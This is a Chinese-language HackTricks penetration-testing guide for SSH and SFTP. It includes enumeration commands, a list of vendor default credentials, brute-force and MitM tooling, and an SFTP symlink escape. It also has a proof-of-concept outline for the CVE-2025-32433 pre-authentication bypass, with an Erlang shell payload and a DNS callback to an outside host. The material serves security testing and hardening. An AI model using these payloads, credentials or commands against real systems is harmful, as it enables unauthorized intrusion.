22 KiB
Raw Blame History

22 - Pentesting SSH/SFTP

{{#include ../banners/hacktricks-training.md}}

基本信息

SSH (安全外壳或安全套接字外壳) 是一种网络协议,允许通过不安全的网络与计算机建立安全连接。它对于在访问远程系统时维护数据的机密性和完整性至关重要。

默认端口: 22

22/tcp open  ssh     syn-ack

SSH 服务器:

  • openSSH OpenBSD SSH自 Windows 10 起在 BSD、Linux 发行版和 Windows 中提供
  • Dropbear 适用于内存和处理器资源有限环境的 SSH 实现,包含在 OpenWrt 中
  • PuTTY 适用于 Windows 的 SSH 实现,客户端常用,但服务器使用较少
  • CopSSH Windows 的 OpenSSH 实现

SSH 库(实现服务器端):

  • libssh 多平台 C 库,实现 SSHv2 协议,支持 PythonPerlR 的绑定KDE 用于 sftpGitHub 用于 git SSH 基础设施
  • wolfSSH 用 ANSI C 编写的 SSHv2 服务器库针对嵌入式、RTOS 和资源受限环境
  • Apache MINA SSHD 基于 Apache MINA 的 Apache SSHD Java 库
  • paramiko Python SSHv2 协议库

枚举

横幅抓取

nc -vn <IP> 22

自动化 ssh-audit

ssh-audit 是一个用于 ssh 服务器和客户端配置审计的工具。

https://github.com/jtesta/ssh-audit 是一个来自 https://github.com/arthepsy/ssh-audit/ 的更新分支。

特点:

  • 支持 SSH1 和 SSH2 协议服务器;
  • 分析 SSH 客户端配置;
  • 抓取横幅,识别设备或软件和操作系统,检测压缩;
  • 收集密钥交换、主机密钥、加密和消息认证码算法;
  • 输出算法信息(可用自、已移除/禁用、不安全/弱/遗留等);
  • 输出算法建议(根据识别的软件版本添加或移除);
  • 输出安全信息(相关问题、分配的 CVE 列表等);
  • 根据算法信息分析 SSH 版本兼容性;
  • 来自 OpenSSH、Dropbear SSH 和 libssh 的历史信息;
  • 在 Linux 和 Windows 上运行;
  • 无依赖。
usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

查看实际操作 (Asciinema)

服务器的公共 SSH 密钥

ssh-keyscan -t rsa <IP> -p <PORT>

弱加密算法

这可以通过 nmap 默认发现。但你也可以使用 sslcansslyze

Nmap 脚本

nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

  • ssh

暴力破解用户名、密码和私钥

用户名枚举

在某些版本的 OpenSSH 中,您可以进行时间攻击以枚举用户。您可以使用 metasploit 模块来利用这一点:

msf> use scanner/ssh/ssh_enumusers

暴力破解

一些常见的 ssh 凭据 在这里在这里 以及下面。

私钥暴力破解

如果你知道一些可以使用的 ssh 私钥... 那就试试吧。你可以使用 nmap 脚本:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

或 MSF 辅助模块:

msf> use scanner/ssh/ssh_identify_pubkeys

或使用 ssh-keybrute.py(原生 python3轻量且启用了遗留算法snowdroppe/ssh-keybrute

已知的坏密钥可以在这里找到:

{{#ref}} https://github.com/rapid7/ssh-badkeys/tree/master/authorized {{#endref}}

弱 SSH 密钥 / Debian 可预测 PRNG

某些系统在用于生成加密材料的随机种子中存在已知缺陷。这可能导致密钥空间显著减少,从而可以被暴力破解。受弱 PRNG 影响的 Debian 系统上生成的预生成密钥集可以在这里找到:g0tmi1k/debian-ssh

您应该在这里查找受害者机器的有效密钥。

Kerberos

crackmapexec 使用 ssh 协议可以使用选项 --kerberos通过 kerberos 进行身份验证
有关更多信息,请运行 crackmapexec ssh --help

默认凭据

供应商 用户名 密码
APC apc, device apc
Brocade admin admin123, password, brocade, fibranne
Cisco admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme
Citrix root, nsroot, nsmaint, vdiadmin, kvm, cli, admin C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler
D-Link admin, user private, admin, user
Dell root, user1, admin, vkernel, cli calvin, 123456, password, vkernel, Stor@ge!, admin
EMC admin, root, sysadmin EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc
HP/3Com admin, root, vcx, app, spvar, manage, hpsupport, opc_op admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin
Huawei admin, root 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123
IBM USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer
Juniper netscreen netscreen
NetApp admin netapp123
Oracle root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user changeme, ilom-admin, ilom-operator, welcome1, oracle
VMware vi-admin, root, hqadmin, vmware, admin vmware, vmw@re, hqadmin, default

SSH-MitM

如果您在本地网络中,作为即将使用用户名和密码连接到 SSH 服务器的受害者,您可以尝试 执行 MitM 攻击以窃取这些凭据:

攻击路径:

  • 流量重定向: 攻击者 转移 受害者的流量到他们的机器,有效地 拦截 连接尝试到 SSH 服务器。
  • 拦截和记录: 攻击者的机器充当 代理,通过假装是合法的 SSH 服务器来 捕获 用户的登录信息。
  • 命令执行和转发: 最后,攻击者的服务器 记录用户的凭据将命令转发 到真实的 SSH 服务器,执行 它们,并 将结果发送回 用户,使过程看起来无缝且合法。

SSH MITM 完全按照上述描述进行。

为了捕获执行实际的 MitM您可以使用 ARP 欺骗、DNS 欺骗或在 网络欺骗攻击 中描述的其他技术。

SSH-Snake

如果您想使用发现的 SSH 私钥遍历网络,在每个系统上利用每个私钥连接到新主机,那么 SSH-Snake 是您需要的工具。

SSH-Snake 自动且递归地执行以下任务:

  1. 在当前系统上,查找任何 SSH 私钥,
  2. 在当前系统上查找任何主机或目标user@host这些私钥可能被接受
  3. 尝试使用所有发现的私钥 SSH 连接到所有目标,
  4. 如果成功连接到某个目标,则在连接的系统上重复步骤 #1 - #4。

它是完全自我复制和自我传播的——并且完全无文件。

配置错误

根登录

SSH 服务器默认允许 root 用户登录,这构成了重大安全风险。禁用根登录 是保护服务器的关键步骤。通过进行此更改,可以减轻未经授权的管理权限访问和暴力攻击的风险。

在 OpenSSH 中禁用根登录:

  1. 使用 sudoedit /etc/ssh/sshd_config 编辑 SSH 配置文件
  2. 将设置从 #PermitRootLogin yes 更改为 PermitRootLogin no
  3. 使用 sudo systemctl daemon-reload 重新加载配置
  4. 重新启动 SSH 服务器以应用更改:sudo systemctl restart sshd

SFTP 暴力破解

SFTP 命令执行

在 SFTP 设置中常常会出现一个常见的疏忽,管理员希望用户在不启用远程 shell 访问的情况下交换文件。尽管将用户设置为非交互式 shell例如 /usr/bin/nologin)并将其限制在特定目录中,但仍然存在安全漏洞。用户可以通过在登录后立即请求执行命令(如 /bin/bash)来规避这些限制,在其指定的非交互式 shell 接管之前。这允许未经授权的命令执行,破坏了预期的安全措施。

来自这里的示例:

ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

这是用户 noraj 的安全 SFTP 配置示例(/etc/ssh/sshd_config openSSH

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

此配置将仅允许 SFTP通过强制启动命令并禁用 TTY 访问来禁用 shell 访问,同时还禁用所有类型的端口转发或隧道。

SFTP Tunneling

如果您可以访问 SFTP 服务器,您还可以通过此方式隧道您的流量,例如使用常见的端口转发:

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

The sftp have the command "symlink". Therefore, if you have 可写权限 in some folder, you can create symlinks of 其他文件夹/文件. As you are probably 被困 inside a chroot this 对你来说不会特别有用, but, if you can 访问 the created symlink from a no-chroot 服务 (for example, if you can access the symlink from the web), you could 通过网络打开symlinked文件.

For example, to create a symlink from a new file "froot" to "/":

sftp> symlink / froot

如果您可以通过网络访问文件 "froot",您将能够列出系统的根 ("/") 文件夹。

认证方法

在高安全性环境中,通常的做法是仅启用基于密钥或双因素认证,而不是简单的基于密码的单因素认证。但通常情况下,较强的认证方法被启用而没有禁用较弱的认证方法。一个常见的情况是在 openSSH 配置中启用 publickey 并将其设置为默认方法,但没有禁用 password。因此,通过使用 SSH 客户端的详细模式,攻击者可以看到较弱的方法被启用:

ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

例如,如果设置了身份验证失败限制,并且您从未有机会达到密码方法,则可以使用 PreferredAuthentications 选项强制使用此方法。

ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

审查SSH服务器配置是必要的以检查仅授权预期的方法。使用客户端的详细模式可以帮助查看配置的有效性。

配置文件

ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

身份验证状态机绕过(预认证 RCE

多个 SSH 服务器实现包含逻辑缺陷,在 身份验证有限状态机 中允许客户端在身份验证完成 之前 发送 连接协议 消息。由于服务器未能验证其处于正确状态,这些消息被处理为用户已完全通过身份验证,从而导致 未认证代码执行 或会话创建。

在协议层面,任何 消息代码 ≥ 80 (0x50) 的 SSH 消息属于 连接 层 (RFC 4254),并且必须 仅在成功身份验证后接受 (RFC 4252)。如果服务器在 SSH_AUTHENTICATION 状态下处理其中一条消息,攻击者可以立即创建通道并请求执行命令、端口转发等操作。

通用利用步骤

  1. 建立与目标 SSH 端口的 TCP 连接(通常为 22但其他服务可能在 2022、830、2222 等端口上暴露 Erlang/OTP
  2. 构造一个原始 SSH 数据包:
  • 4 字节 packet_length(大端)
  • 1 字节 message_code ≥ 80例如 SSH_MSG_CHANNEL_OPEN = 90SSH_MSG_CHANNEL_REQUEST = 98
  • 负载将被所选消息类型理解
  1. 完成任何身份验证步骤之前 发送数据包。
  2. 与现在暴露的 预认证 服务器 API 进行交互(命令执行、端口转发、文件系统访问等)。

Python 概念验证大纲:

import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity  send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

在实践中,您需要根据目标实现执行(或跳过)密钥交换,但从未执行身份验证


Erlang/OTP sshd (CVE-2025-32433)

  • 受影响的版本: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
  • 根本原因: Erlang 原生 SSH 守护进程在调用 ssh_connection:handle_msg/2 之前未验证当前状态。因此,任何消息代码为 80-255 的数据包在会话仍处于 userauth 状态时到达连接处理程序。
  • 影响: 未经身份验证的 远程代码执行(守护进程通常以 root 身份在嵌入式/OT 设备上运行)。

示例有效负载,生成绑定到攻击者控制通道的反向 shell

% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

盲目 RCE / 异带检测可以通过 DNS 执行:

execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

检测与缓解:

  • 检查 SSH 流量:丢弃任何在身份验证之前观察到的消息代码 ≥ 80 的数据包
  • 将 Erlang/OTP 升级到 27.3.3 / 26.2.5.11 / 25.3.2.20 或更新版本。
  • 限制管理端口22/2022/830/2222的暴露特别是在 OT 设备上。

受影响的其他实现

  • libssh 0.6 0.8(服务器端) CVE-2018-10933 接受客户端发送的未经身份验证的 SSH_MSG_USERAUTH_SUCCESS,实际上是反向逻辑缺陷。

共同的教训是,任何偏离 RFC 规定的状态转换都可能是致命的;在审查或模糊测试 SSH 守护进程时,特别注意 状态机执行

参考文献

HackTricks 自动命令

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

{{#include ../banners/hacktricks-training.md}}